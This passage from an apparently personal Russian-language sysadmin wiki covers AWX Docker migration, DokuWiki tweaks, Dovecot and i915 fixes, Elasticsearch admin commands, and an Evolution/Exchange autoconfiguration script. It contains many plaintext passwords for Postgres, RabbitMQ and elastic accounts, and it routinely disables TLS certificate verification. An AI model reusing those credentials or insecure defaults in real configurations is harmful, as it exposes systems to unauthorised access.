  mounts=`docker container inspect $container --format "{{ range .Mounts }}{{ .Type }}:{{ .Name }}:{{ .Source }}:{{ .Destination }} {{ end }}"`
  for mount in `echo $mounts`
  do
    mount_type=`echo $mount | cut -d: -f1`
    case $mount_type in
     bind)
          echo "type - bind"
          echo $mount
          bind_src=`echo $mount | cut -d: -f3`
          echo "Bind SRC - $bind_src"
          rsync -aRvvP --rsync-path="$rsync_path" $bind_src $user@$remote_host:/
          ;;
     volume)
          echo "type - Volume"
          echo $mount
          vol_name=`echo $mount | cut -d: -f2`
#          echo $pass | ssh -tt $user@$remote_host "sudo docker volume create $vol_name"
          ssh $user@$remote_host "sudo docker volume create $vol_name"
          vol_local_mountpoint=`docker volume inspect $vol_name --format "{{json .Mountpoint}}" | sed 's/\"//g'`
#          vol_remote_mountpoint=`echo $pass | ssh -tt $user@$remote_host "sudo docker volume inspect $vol_name --format '{{json .Mountpoint}}' | sed 's/\"//g'"`
          vol_remote_mountpoint=`ssh $user@$remote_host "sudo docker volume inspect $vol_name --format '{{json .Mountpoint}}' | sed 's/\"//g'"`
          vol_remote_mountpoint=`echo $vol_remote_mountpoint | sed 's/^[^\/]*\//\//'`
          echo "local mountpoint - $vol_local_mountpoint; remote mountpoint - $vol_remote_mountpoint"
          rsync -avvP --rsync-path="$rsync_path" $vol_local_mountpoint $user@$remote_host:$vol_remote_mountpoint
          ;;
    esac
  done
  docker container start $container
done

Создаем коммит с текущим состоянием контейнеров

while read -r line; do docker commit $line; done < <(docker container ls --format "{{json .ID}} {{json .Names}}_current" | grep awx_ | sed 's/\"//g')

Переносим images на новый хост и загружаем их

#while read -r line; do docker save $line | ssh -C awx docker load; done < <(docker images --format "{{json .Repository}}" | grep _current | sed 's/\"//g')
while read -r line; do docker save $line | ssh -C awx docker load; done < <(docker images --format "{{json .Repository}}" | sed 's/\"//g')

Удаляем коммиты имиждей на исходном хосте

while read -r line; do docker image rm $line; done < <(docker images --format "{{json .Repository}}" | grep _current | sed 's/\"//g')

Создаем контейнеры на новом хосте

А теперь можно создать контейнеры из скопированных имиджей с помощью команды docker create, либо воспользоваться docker compose. Файл лежит тут: /opt/awx/awxcompose/docker-compose.yml. Переносим его на новый хост:

rsync -avvP --rsync-path="rsync sudo" /opt/awx/awxcompose/docker-compose.yml $user@$remote_host:/opt/awx/awxcompose/docker-compose.yml

Редактируем его, указывая в качестве имиджей - те, что были созданы, а также указывая restart: always. У меня пролучилось примерно так:

version: '2'
services:

  web:
    image: awx_web_current
    container_name: awx_web
    depends_on:
      - rabbitmq
      - memcached
      - postgres
    ports:
      - "80:8052"
    hostname: awxweb
    user: root
    restart: always
    volumes:
      - "/opt/awx/awxcompose/SECRET_KEY:/etc/tower/SECRET_KEY"
      - "/opt/awx/awxcompose/environment.sh:/etc/tower/conf.d/environment.sh"
      - "/opt/awx/awxcompose/credentials.py:/etc/tower/conf.d/credentials.py"
    environment:
      http_proxy: 
      https_proxy: 
      no_proxy: 

  task:
    image: awx_task_current
    container_name: awx_task
    depends_on:
      - rabbitmq
      - memcached
      - web
      - postgres
    hostname: awx
    user: root
    restart: always
    volumes:
      - "/opt/awx/awxcompose/SECRET_KEY:/etc/tower/SECRET_KEY"
      - "/opt/awx/awxcompose/environment.sh:/etc/tower/conf.d/environment.sh"
      - "/opt/awx/awxcompose/credentials.py:/etc/tower/conf.d/credentials.py"
    environment:
      http_proxy: 
      https_proxy: 
      no_proxy: 

  rabbitmq:
    image: awx_rabbitmq_current
    container_name: awx_rabbitmq
    restart: always
    environment:
      RABBITMQ_DEFAULT_VHOST: "awx"
      RABBITMQ_DEFAULT_USER: "guest"
      RABBITMQ_DEFAULT_PASS: "PTB4h5Zt1m1BSu8J"
      RABBITMQ_ERLANG_COOKIE: cookiemonster
      http_proxy: 
      https_proxy: 
      no_proxy: 

  memcached:
    image: "awx_memcached_current"
    container_name: awx_memcached
    restart: always
    environment:
      http_proxy: 
      https_proxy: 
      no_proxy: 

  postgres:
    image: awx_postgres_current
    container_name: awx_postgres
    restart: always
    volumes:
      - /opt/awx/pgsql_db:/var/lib/postgresql/data:Z
    environment:
      POSTGRES_USER: awx
      POSTGRES_PASSWORD: aZKX3FzQ7RdIfGGM
      POSTGRES_DB: awx
      PGDATA: /var/lib/postgresql/data/pgdata
      http_proxy: 
      https_proxy: 
      no_proxy:

После этого переходим в папку c файликом docker-compose.yml и запускаем наши контейнеры:

cd /opt/awx/awxcompose/ 
docker-compose up -d

После запуска остановим контейнеры и перезагрузимся, чтобы убедиться, что они нормально стартуют:

docker stop $(docker ps -a -q)
sudo reboot

docker_tls_handshake_error

anonymous@undisclosed.example.com (Anonymous) — Tue, 30 Jul 2019 09:45:06 +0000

Система

Ubuntu 19.04
Docker:

docker version
Client:
 Version:           18.09.7
 API version:       1.39
 Go version:        go1.10.4
 Git commit:        2d0083d
 Built:             Wed Jul  3 12:13:54 2019
 OS/Arch:           linux/amd64
 Experimental:      false

Server:
 Engine:
  Version:          18.09.7
  API version:      1.39 (minimum version 1.12)
  Go version:       go1.10.4
  Git commit:       2d0083d
  Built:            Mon Jul  1 19:14:14 2019
  OS/Arch:          linux/amd64
  Experimental:     false

Корпоративный proxy-сервер (Cisco-WSA/10.1.4-017), который подменяет сертификаты.

Проблема

При поптытке выполнить:

docker pull hello-world

Вываливается ошибка:

 Error response from daemon: Get https://registry-1.docker.io/v2/: remote error: tls: handshake failure

При этом, если из браузера попытаться зайти на https://registry-1.docker.io/v2/ , то ответ нормальный.

Решение

https://github.com/docker/for-win/issues/2922
Оказалось, что прокси шифрует трафик с помощью cipher suite (TLS_RSA_WITH_AES_128_CBC_SHA, 128 bit keys, TLS 1.2), который уже не поддерживается текущей версией клиента docker.
Для решения проблемы пришлось откатиться на версию docker.io 18.06.1: http://launchpadlibrarian.net/397461917/docker.io_18.06.1-0ubuntu2_amd64.deb

dokuwiki_check_if_user_logged_in

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Как проверить, что пользователь залогинен в DokuWiki.
Мне это нужно для оптимизации загрузки JS-скриптов.
Ведь незалогиненому пользователю, в большинстве случаев, не нужны многие компоненты js.
/var/www/lib/exe/jquery.php /var/www/lib/exe/js.php

if(isset($_COOKIE[DOKU_COOKIE])) {
     echo 'User Logged In';
} 
else {
     echo 'User Not Logged In';
}

dokuwiki_disable_jquery_for_guest_users

anonymous@undisclosed.example.com (Anonymous) — Wed, 02 Jun 2021 09:47:16 +0000

Задача

Мне захотелось ускорить мою DokuWiki, чтобы она быстрее открывалась. Один из способов сделать это - отключить загрузку некритичных библиотек и скриптов. В частности - JQuery. Я буду отключать загрузку JQuery для незалогиненных пользователей (гостей), которые имеют права только на чтение статей.

Решение

Библиотеки JQuery загружаются кодом из файлика ./inc/template.php:

// load jquery
$jquery = getCdnUrls();
foreach($jquery as $src) {
    $head['script'][] = array(
        'type' => 'text/javascript', 'charset' => 'utf-8', '_data' => '', 'src' => $src
    );
}

Уровень привилегий пользователя можно определить с помощью функции auth_quickaclcheck($ID), которая возвращает число от 1 до 255. Гости с правом чтения имеют значение уровня привилегий 1. Вот кусочек из inc/auth.php:

define('AUTH_NONE', 0);
define('AUTH_READ', 1);
define('AUTH_EDIT', 2);
define('AUTH_CREATE', 4);
define('AUTH_UPLOAD', 8);
define('AUTH_DELETE', 16);
define('AUTH_ADMIN', 255);

Соответственно, для достижения желаемого нам надо обернуть код загрузки JQuery в условие, которое проверит уровень привилегий пользователя:

if(auth_quickaclcheck($ID) > 1){
    // load jquery
    $jquery = getCdnUrls();
    foreach($jquery as $src) {
        $head['script'][] = array(
            'type' => 'text/javascript', 'charset' => 'utf-8', '_data' => '', 'src' => $src
        );
    }
}

Теперь у незалогиненных пользователей мой сайтик грузится на ~30% быстрее. Без существенных потерь в функциональности и качестве отображения.

Делаем загрузку js асинхронной

Многие скирипты можно загружать ассинхронно, тем самым значительно ускоряя отрисовку.

./lib/plugins/ckgedit/action/meta.php

Функцию loadScript приводим к такому виду (вставляем слово async в строку <script type=“text/javascript” async> ):

function loadScript(Doku_Event $event) {
  echo <<<SCRIPT

    <script type="text/javascript" async>
    //<![CDATA[ 
    function LoadScript( url )
    {
     document.write( '<scr' + 'ipt type="text/javascript" src="' + url + '"><\/scr' + 'ipt>' ) ;        

    }
   function LoadScriptDefer( url )
    {
     document.write( '<scr' + 'ipt type="text/javascript" src="' + url + '" defer><\/scr' + 'ipt>' ) ;        

    }
//]]>

./inc/template.php

В функции _tpl_metaheaders_action, которая генерирует метатеги, которые, в свою очередь загружают скрипты, нужно добавить проверку привилегий пользователя и для незалогиненных пользователей добавить слово async в строке:

echo '>', $attr['_data'], '</', $tag, '>';

То есть функция будет выглядеть так:

function _tpl_metaheaders_action($data) {
    foreach($data as $tag => $inst) {
        if($tag == 'script') {
            echo "<!--[if gte IE 9]><!-->\n"; // no scripts for old IE
        }
        foreach($inst as $attr) {
            if ( empty($attr) ) { continue; }
            echo '<', $tag, ' ', buildAttributes($attr);
            if(isset($attr['_data']) || $tag == 'script') {
                if($tag == 'script' && $attr['_data'])
                    $attr['_data'] = "/*<![CDATA[*/".
                        $attr['_data'].
                        "\n/*!]]>*/";
                if(auth_quickaclcheck($ID) > 1){
                  echo '>', $attr['_data'], '</', $tag, '>';
                } else {
                  echo ' async>', $attr['_data'], '</', $tag, '>';
                }
            } else {
                echo '/>';
            }
            echo "\n";
        }
        if($tag == 'script') {
            echo "<!--<![endif]-->\n";
        }
    }
}

Таким образом, для незалогиненных пользователей страница будет загружаться гораздо быстрее, но иногда возможны несущественные артефакты из-за ассинхронной загрузки скриптов.

bootstrap3 Template Optimization

Jquery not loaded

После очередного обновления DokuWiki сломался темплейт bootstrap3 - перестали работать выпадающие меню, а отладочная консоль браузера говорила, что нету jquery.
Оказалось, что нужно пойти в настройки (doku.php?do=admin&page=config) и выключить (снять галочку) defer_js (или внести те же изменения в config.php вручную).

Font Optimization

https://web.dev/font-display/?utm_source=lighthouse&utm_medium=unknown
В файлик ./lib/tpl/bootstrap3/assets/fonts/united.fonts.css нужно вставить свойство:

font-display: swap

dovecot_not_starting_after_package_update

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

На почтовом сервере iRedMail (postfix+dovecot+redCube) перестал запускаться dovecot. В логах такое:

sudo tail /var/log/dovecot.log
...
Jul 02 21:57:28 master: Error: bind(::1, 4190) failed: Cannot assign requested address
Jul 02 21:57:28 master: Error: service(managesieve-login): listen(::1, 4190) failed: Cannot assign requested address
Jul 02 21:57:28 master: Error: bind(::1, 24) failed: Cannot assign requested address
Jul 02 21:57:28 master: Error: service(lmtp): listen(::1, 24) failed: Cannot assign requested address
Jul 02 21:57:28 master: Fatal: Failed to start listeners

Решение

Оказалось, что нужно убрать из /etc/dovecot/dovecot.conf все вхождения ::1. В моем случае они были в разделах описания сервисов:

    inet_listener lmtp {
        # Listen on localhost
        address = 127.0.0.1 ::1
        port = 24
    }

service managesieve-login {
    inet_listener sieve {
        # Listen on localhost
        address = 127.0.0.1 ::1
        port = 4190
    }

Строки address = 127.0.0.1 ::1 нужно привести к виду address = 127.0.0.1 и всё будет хорошо.

drm_intel_pipe_update_end_i915_error_atomic_update_failure_on_pipe_a

anonymous@undisclosed.example.com (Anonymous) — Tue, 07 Apr 2020 11:39:31 +0000

Ошибки - [drm:intel_pipe_update_end [i915]]

На ноутбуке с интергированной графикой Intel (процессор Intel Core i5-2410M ) в логая ядра постоянно появляются ошибки:

[drm:intel_pipe_update_end [i915]] *ERROR* Atomic update failure on pipe A (start=115495 end=115496) time 210 us, min 763, max 767, scanline start 760, end 770

Что НЕ помогло

На Ubuntu 19.04 с ядром 5.5.11-050511-lowlatency помогло добавление к параметрам ядра таких:

i915.enable_guc_loading=1 i915.enable_guc_submission=1 intel_pstate=skylake_hwp i915.enable_psr=1 i915.disable_power_well=0 nouveau.modeset=0

То есть я отредактировал файлик /etc/default/grub, в котором строчку GRUB_CMDLINE_LINUX_DEFAULT привел к такому виду:

GRUB_CMDLINE_LINUX_DEFAULT=" i915.enable_guc_loading=1 i915.enable_guc_submission=1 intel_pstate=skylake_hwp i915.enable_psr=1 i915.disable_power_well=0 nouveau.modeset=0 quiet "

а затем обновил конфигурацию grub:

sudo update-grub

и перезагрузился.

drm-tip kernel

Вот тут люди советуют пересобрать drm-tip kernel и установить и вроде все становится ОК : https://bugs.freedesktop.org/show_bug.cgi?id=105870#c16
Собирать вот так: https://01.org/linuxgraphics/documentation/build-guide-0

sudo apt-get install build-essential flex bison libssl-dev libelf-dev libncurses5 libncurses5-dev libdw-dev binutils-dev libc6-dev

elasticsearch_faq

anonymous@undisclosed.example.com (Anonymous) — Mon, 02 Mar 2026 13:32:04 +0000

Backup to S3

Для бекапа на AWS-подобный S3 надо:

создать s3-клиента (можно использовать дефолтный - default) и в Elasticsearch Keystore прописать ключи (access_key и secret_key)
cоздать в Elasticsearch snapshot repository, которому передать в качестве параметров - эндпоинт S3, имя бакета, путь в бакете, регион, имя s3-клиента, если он дефолтный.

Для того чтобы прописать ключи - можно использовать файлик elasticsearch.yml или если ES развернут оператором eck, то с помощью спецификации указать на секрет, где хранятся ключи:

apiVersion: elasticsearch.k8s.elastic.co/v1
kind: Elasticsearch
spec:
  secureSettings:
  - secretName: s3-backup-keys

А в секрете собственно прописать ключи:

apiVersion: v1
kind: Secret
metadata:
  name: s3-backup-keys
type: Opaque
data:
  s3.client.default.access_key: 0L/Ri9GJLdC/0YvRiSAtYgo=
  s3.client.default.secret_key: 0L4t0LvQvi3Qu9C+IC1iCg==

То есть ключи секрета - представляют собой параметры, аналогичные прописываемым в elasticsearch.yml. В данном случае - это параметры для s3.client с именем default
Скрипт для создания снапшотов по расписанию может выглядеть так:

from elasticsearch import Elasticsearch
from datetime import datetime
import argparse

def main(args):
    es = Elasticsearch(hosts=args.es_url,
        http_auth=(args.es_login, args.es_password),
        url_prefix=args.es_url_prefix)

    print(es.snapshot.get_repository())

    # https://www.elastic.co/guide/en/elasticsearch/reference/current/repository-s3.html
    # https://kubedb.com/docs/v2021.09.30/guides/elasticsearch/plugins-backup/s3-repository/
    # https://elasticsearch-py.readthedocs.io/en/v8.2.3/api.html#elasticsearch.client.SnapshotClient.create_repository
    # https://elasticsearch-py.readthedocs.io/en/v8.2.3/api.html#elasticsearch.client.SnapshotClient.get_repository

    repo_definition={
        "type": "s3",
        "settings": {
            "endpoint": f"{args.s3_endpoint}",
            "bucket": f"{args.s3_bucket_name}",
            "base_path": f"{args.base_path}",
            "region": f"{args.s3_region}"
        }
    }

    es.snapshot.create_repository(repository="s3-backup", body=repo_definition)
    es.snapshot.create(repository="s3-backup", snapshot=f'snapshot_'+datetime.now().strftime("%d-%m-%Y_%H-%M-%S"))
    snapshots=es.snapshot.get(snapshot='*',repository="s3-backup")

    for snapshot in snapshots["snapshots"]:
        print(snapshot["snapshot"])

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--es_url', default='https://es.domail.local:443')
    parser.add_argument('--es_login', default='elastic')
    parser.add_argument('--es_password', default='superpassword')
    parser.add_argument('--es_url_prefix', default='es')
    parser.add_argument('--base_path', default='dev')
    parser.add_argument('--s3_bucket_name', default='es-backup')
    parser.add_argument('--s3_endpoint', default='https://storage.yandexcloud.net')
    parser.add_argument('--s3_region', default='ru-central1')

    args = parser.parse_args()

    main(args)

Миграция индексов из кластера в другой

Предварительно, в кластере куда мы мигрируем нужно разрешить миграцию из заданного источника. В случае использования оператора ECK это делается так:

apiVersion: elasticsearch.k8s.elastic.co/v1
kind: Elasticsearch
spec:
  nodeSets:
  - config:
      reindex.remote.whitelist: SOURCE_ES_IP:9200
      reindex.ssl.verification_mode: none

И дальше - просто воспользоваться модулем elasticsearch для python и скриптом:

from elasticsearch import Elasticsearch
import argparse


def main(args):
    es_source = Elasticsearch(hosts=args.source_es_url,
        http_auth=(args.source_es_login, args.source_es_password))
    es_dest = Elasticsearch(hosts=args.dest_es_url,
        http_auth=(args.dest_es_login, args.dest_es_password),ca_certs=False,verify_certs=False)

    for index in es_source.indices.get('*'):
        print(index)
        es_dest.reindex({
            "source": {
                "remote": {
                "host": f"{args.source_es_url}",
                "username": f"{args.source_es_login}",
                "password": f"{args.source_es_password}"
                },
                "index": f"{index}",
                "query": {
                "match_all": {}
                }
            },
            "dest": {
                "index": f"{index}"
            }
        })

    print('#################################################################')
    print(es_dest.indices.get('*'))

    # for index in es_dest.indices.get('*'):
    #   print(index)

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--source_es_url', default='http://SOURCE_ES:9200')
    parser.add_argument('--source_es_login', default='elastic')
    parser.add_argument('--source_es_password', default='password')
    parser.add_argument('--dest_es_url', default='http://DESTINATION_ES:9200')
    parser.add_argument('--dest_es_login', default='elastic')
    parser.add_argument('--dest_es_password', default='password')

    args = parser.parse_args()

    main(args)

List indexes

curl http://~~~elastic_client_IP~~~/_aliases?pretty=true

Или вот так с basic auth:

AUTH=elastic:AG7dGmsZp2NDpRED
curl -k -u $AUTH https://elasticsearch-es-http.default.svc.cluster.local:9200/_aliases?pretty=true

Или вот - с сортировкой по дате и указанием размера:

AUTH=elastic:Aizahphoh7dai0siesairohdohfe3cai
ES_ENDPOINT='https://stack-es-http.observability.svc:9200'
curl -k -u $AUTH "${ES_ENDPOINT}/_cat/indices/*?v=true&s=creation.date.string:asc"

Get indices in a cluster

curl http://~~~elastic_client_IP~~~/_cat/indices?pretty=true

или запрос в DevTools в Kibana

GET /_cat/indices?v

Размеры индексов в байтах

while read -r line; do echo $line | awk '{print $10}'; done <<<  `curl -k -u elastic:mSSZ6epX2TQqGE4W https://10.110.63.47:9200/_cat/indices?bytes=b`

Задать количество реплик для всех индексов

curl -k -u $AUTH -X PUT "${ES_ENDPOINT}/_settings" -H 'Content-Type: application/json' -d'
{
  "index": {
    "number_of_replicas": 5
  }
}'

Удалить старые индексы

AUTH=elastic:Aizahphoh7dai0siesairohdohfe3cai
ES_ENDPOINT='https://stack-es-http.observability.svc:9200'
INDICIES=`curl -k -u $AUTH "${ES_ENDPOINT}/_cat/indices/*?s=creation.date.string:asc" 2>/dev/null | head -n 30 | awk '{print $3}'`
for IND in ${INDICIES}; do curl -k -u $AUTH -X DELETE "${ES_ENDPOINT}/${IND}?pretty"; done

Удалить индексы по маске

AUTH=elastic:ub3kaiSh5iey3Op5wau4haezahghee6N
ES_ENDPOINT='https://stack-es-http.observability.svc:9200'
INDICIES=`curl -k -u $AUTH "${ES_ENDPOINT}/_cat/indices/*" | grep ' jaeger' | awk '{print $3}'`
for IND in ${INDICIES}; do curl -k -u $AUTH -X DELETE "${ES_ENDPOINT}/${IND}?pretty"; done

Проверка текущей политики ILM для datastream

curl -u elastic:pohgeif7uJei8ahqu8ohl3eDo0Eimaey -k -X GET "https://stack-es-http:9200/_data_stream/stack-logs-main?pretty"
curl -u elastic:pohgeif7uJei8ahqu8ohl3eDo0Eimaey -k -X GET "https://stack-es-http:9200/_ilm/policy/stack-logs-policy?pretty"

Список индексов, упорядоченный по количеству документов

curl -u elastic:pohgeif7uJei8ahqu8ohl3eDo0Eimaey -k "https://stack-es-http:9200/_cat/indices?v&s=docs.count:desc"

Просмотр размеров шард для индекса

curl -u elastic:pohgeif7uJei8ahqu8ohl3eDo0Eimaey -k -X GET "https://stack-es-http:9200/_cat/shards/.ds-stack-logs-main-2026.02.27-000001?v"

Принудительный rollover для индекса/датастрима

curl -u elastic:pohgeif7uJei8ahqu8ohl3eDo0Eimaey -k -X POST "https://stack-es-http:9200/stack-logs-main/_rollover?pretty"

Работа с учетными записями пользователей

Создать пользователя

https://www.elastic.co/guide/en/elasticsearch/reference/current/security-api-put-user.html

curl -X POST "localhost:9200/_security/user/jacknich?pretty" -H 'Content-Type: application/json' -d'
{
  "password" : "j@rV1s",
  "roles" : [ "admin", "other_role1" ],
  "full_name" : "Jack Nicholson",
  "email" : "jacknich@example.com",
  "metadata" : {
    "intelligence" : 7
  }
}
'

Получить информацию о пользователе

https://www.elastic.co/guide/en/elasticsearch/reference/current/security-api-get-user.html

curl -X GET "localhost:9200/_security/user/jacknich?pretty"

Logstash Error

[logstash.outputs.elasticsearch] retrying failed action with response code: 403 ({"type"=>"cluster_block_exception", "reason"=>"blocked by: [FORBIDDEN/12/index read-only / allow delete (api)];"})

Нужно дать права на запись в индексы elasticsearch:

curl -XPUT -H "Content-Type: application/json" http://~~~IP~address~elasticsearch~client~~~:9200/_all/_settings -d '{"index.blocks.read_only_allow_delete": null}'

Kibana Error

{"type":"log","@timestamp":"2020-05-22T09:20:30Z","tags":["info","savedobjects-service"],"pid":6,"message":"Creating index .kibana_1."}
{"type":"log","@timestamp":"2020-05-22T09:21:02Z","tags":["warning","savedobjects-service"],"pid":6,"message":"Unable to connect to Elasticsearch. Error: [resource_already_exists_exception] index [.kibana_1/N5lCo69cSEiaGPrH9nPgmQ] already exists, with { index_uuid=\"N5lCo69cSEiaGPrH9nPgmQ\" & index=\".kibana_1\" }"}
{"type":"log","@timestamp":"2020-05-22T09:21:02Z","tags":["warning","savedobjects-service"],"pid":6,"message":"Another Kibana instance appears to be migrating the index. Waiting for that migration to complete. If no other Kibana instance is attempting migrations, you can get past this message by deleting index .kibana_1 and restarting Kibana."}
{"type":"log","@timestamp":"2020-05-22T09:21:35Z","tags":["info","savedobjects-service"],"pid":6,"message":"Creating index .kibana_task_manager_1."}
{"type":"log","@timestamp":"2020-05-22T09:21:35Z","tags":["warning","savedobjects-service"],"pid":6,"message":"Unable to connect to Elasticsearch. Error: [resource_already_exists_exception] index [.kibana_task_manager_1/57SevyHNSW2u0pDBMxS6rg] already exists, with { index_uuid=\"57SevyHNSW2u0pDBMxS6rg\" & index=\".kibana_task_manager_1\" }"}
{"type":"log","@timestamp":"2020-05-22T09:21:35Z","tags":["warning","savedobjects-service"],"pid":6,"message":"Another Kibana instance appears to be migrating the index. Waiting for that migration to complete. If no other Kibana instance is attempting migrations, you can get past this message by deleting index .kibana_task_manager_1 and restarting Kibana."}

Нужно удалить индексы:

kubectl exec elasticsearch-kb-74b55648bb-l5pf8 -- curl -k -u elastic:AG7dGmsZp2NDpRED -XDELETE http://elasticsearch-openresty-oidc-http.default.svc.cluster.local:9200/.kibana_1

или в более новых версиях:

kubectl exec -it -n elk elastic-kb-84dddb9b5-k4kwg -- curl -k -u elastic:MWtBKGDF2qnKr889 -XDELETE https://elastic-es-http.elk.svc.cluster.local:9200/.kibana_task_manager_1

es75it

anonymous@undisclosed.example.com (Anonymous) — Mon, 04 Oct 2021 09:47:09 +0000

ES75iT

https://www.vcdx200.com/2014/01/gsmgprs-modem-siemens-es75-usefull-at.html

Проверяем, что PIN введен и симка разблокирована

AT+CPIN=?

Включаем вывод номера звонившего

AT+CLIP=1

в результате - при входящем звонке в консоли такое:

RING
+CLIP: "+79778879623",145,,,,0

Звонок

AT+CREG=1;
AT+CREG=2;
ATD89778879623;

ethernet_connection_random_mac_on_every_boot

anonymous@undisclosed.example.com (Anonymous) — Sat, 23 May 2020 22:15:06 +0000

Проблема

Система - Ubuntu 18.04 (Armbian).
На одном из сетевых адаптеров при каждой загрузке новый MAC-адрес.
Оказалось неважно как настроена система - с помощью стандартных настроек из /etc/network/ и в случае когда сеть настроена с помощью Network Manager.
В случае, когда используется Network Manager - для одного из сетевых адаптеров при каждой загрузке создается новое подключение, с новым произвольным MAC-адресом. Я хочу использовать этот интерфейс для подключения к сети провайдера, поэтому изменеие MAC-адреса при каждой перезагрузке недопустимо.
Так как в Network Manager при каждой загрузке создается новое подключение - установка параметра 802-3-ethernet.cloned-mac-address результата не дает.
Никаких правил рандомизации MAC-адреса для проблемного интерфейса не задано.

Причины

Причинами такого поведения могут быть:

настройки NetworkManager, который может обновлять MAC-адрес устройства при кадом новом подключении.
Настройки демона avahi (avahi-autoipd)
настройки устройства в правилах udev

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=755202

/etc/udev/rules.d/70-persisetn-net.rules
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*",ATTR{address}=="00:00:00:00:00:00",ATTR{dev_id}=="0x0", ATTR{type}=="1",KERNEL=="eth1", NAME="wan0"

Решение

Я не смог найти точной причины происходящего - возможно дело в самом драйвере устройства.
Решить можно несколькими способами. Все они так или иначе сводятся к принудительной установке нужного адреса.

NetworkManager

Если сеть настраиваем с помощью NetworkManager, то нужно создать файл скрипта /etc/NetworkManager/dispatcher.d/pre-up.d/wanmac:

#!/bin/sh

/bin/ip link set dev eth1 address C4:6E:1F:FD:D9:82

/etc/network/

Если настройки сети в /etc/network/, то можно выбрать один из вариантов:

тот же скрипт в /etc/network/if-pre-up.d/
в файле /etc/network/interfaces прописываем
```
pre-up ifconfig <interface> hw ether xx:xx:xx:yy:yy:yy
```

в файле /etc/network/interfaces прописываем:

allow-hotplug eth1
iface eth0 inet dhcp
  hwaddress ether 08:00:00:00:00:01

NetworkManager

При использовании NetworkManager

evolution_is_currently_offline_due_to_a_network_outage

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Если почтовый клиент evolution отказывается работать, ссылаясь на недоступную сеть - Evolution is currently offline due to a network outage, то просто нужно добавить переменную среды

GIO_USE_NETWORK_MONITOR=base

В KDE эту переменную можно прописать в файлик ~/.config/plasma-workspace/env/evolution.sh:

#!/bin/bash
export GIO_USE_NETWORK_MONITOR=base

evolution_preconfigure

anonymous@undisclosed.example.com (Anonymous) — Thu, 04 Jul 2019 07:42:41 +0000

Автоматическая конфигурация Evolution для работы с exchange

Понадобилось сконфигурировать почтовый клиент evolution для того, чтобы он работал как MS outlook - при первом входе пользователя конфигурировался автоматически, на базе данных из AD и сервиса Autodiscovery EWS.

Evolution в Gnome

Вот вариант для Gnome.
В двух словах - с помощью gconftool-2 можно выгрузить текущую конфигурацию evolution.
Скорректировать ее для нового пользователя и залить в профиль.
https://wiki.gnome.org/Apps/Evolution/GConfTools

Evolution в KDE

В KDE нужно создать файлики evolution source (~/.config/evolution/source), в которых лежит описание почтовой конфигурации.
https://wiki.gnome.org/Apps/Evolution/ESourceFileFormat
Вот скрипт, который берет из AD аттрибут пользователя mail, выполняет autodiscovery и заполняет файлики evolution source.
Также скрипт автоматически создает подпись, в которой можно использовать аттрибуты AD. Этот скрипт можно поместить в автозагрузку в дефолтный профиль (например в директорию /etc/skel/.kde/Autostart ) и тогда evolution будет автоматически конфигурировать почту на базе данных из AD, совсем как Outlook.
Для работы скрипта необходимо, чтобы системы была корректно введена домен с помощью samba+winbind. Этот скрипт создавался как часть скрипта, конфигурирующего систему на базе Ubuntu для работы в домене - Ubuntu Setup Script

#! /bin/bash

export GIO_USE_NETWORK_MONITOR=base
DOMAINNAME=`hostname -d`
########################################################################
### Check if Evolution EWS source files already exist. If exist - exit 0
#######################################################################
for f in ~/.config/evolution/sources/*$HOSTNAME.source; do [ -e "$f" ] && exit 0 ; break; done

##########################################
## Check if connected to AD
##########################################
if ! wbinfo -P; then
echo "NETLOGON test failed" >> ~/.ews_setup.log
else
echo "NETLOGON test OK" >> ~/.ews_setup.log

CURRENT_DC=`wbinfo -P | awk '{print $9}' | awk -F "\"" '{print $2}'`
BASEDN=`echo $CURRENT_DC | sed s/^[^.]*.//g | sed s/"\."/,dc=/g | sed s/^/dc=/`
FULL_NAME=`ldapsearch -h $CURRENT_DC -b "$BASEDN" "sAMAccountName=$USER" | grep displayName: | awk '{print $2 }' | base64 -d`
MAIL=`ldapsearch -h $CURRENT_DC -b "$BASEDN" "sAMAccountName=$USER" | grep mail: | awk '{print $2 }'`
NAME_PREFIX=`date +%s.%N | cut -c 1-16`

###############################################################################################
### MS Exchange autodiscovery
#### https://github.com/sys4/automx/blob/master/src/automx-test
#### http://stackoverflow.com/questions/38509837/when-using-negotiate-with-curl-is-a-keytab-file-required
#### Joined AD with samba/winbind and have package gss-ntlmssp
###############################################################################################
AUTOD_URL="https://autodiscover.`echo $MAIL | sed 's/^.*@//'`"/autodiscover/autodiscover.xml
REQUEST=$(cat <<EOF
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>$MAIL</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
EOF
)

bash -c "curl -k -d '$REQUEST' --header \"Content-Type: text/xml\" -s --negotiate -u : $AUTOD_URL" > ~/.autodiscover.xml

#bash -c "curl -v -k -d '$REQUEST' --header \"Content-Type: text/xml\" --ntlm --user username:userpassword $AUTOD_URL" > ~/.autodiscover.xml

OABUrl=$(cat ~/.autodiscover.xml | grep -m 1 OABUrl | awk -F '[<>]' '{ print $3 }')oab.xml
EwsUrl=$(cat ~/.autodiscover.xml | grep -m 1 EwsUrl | awk -F '[<>]' '{ print $3 }')
EwsHost=$(echo $EwsUrl | awk -F '/' '{ print $3 }')
rm ~/.autodiscover.xml

echo CURRENT_DC - $CURRENT_DC > ~/.ews_setup.log
echo FULL_NAME - $FULL_NAME >> ~/.ews_setup.log
echo BASEDN - $BASEDN >> ~/.ews_setup.log
echo MAIL - $MAIL >> ~/.ews_setup.log
echo DOMAINNAME - $DOMAINNAME >> ~/.ews_setup.log
echo OABUrl - $OABUrl >> ~/.ews_setup.log
echo EwsUrl - $EwsUrl >> ~/.ews_setup.log
echo EwsHost - $EwsHost >> ~/.ews_setup.log
################################################################
### Check URLs format
################################################################
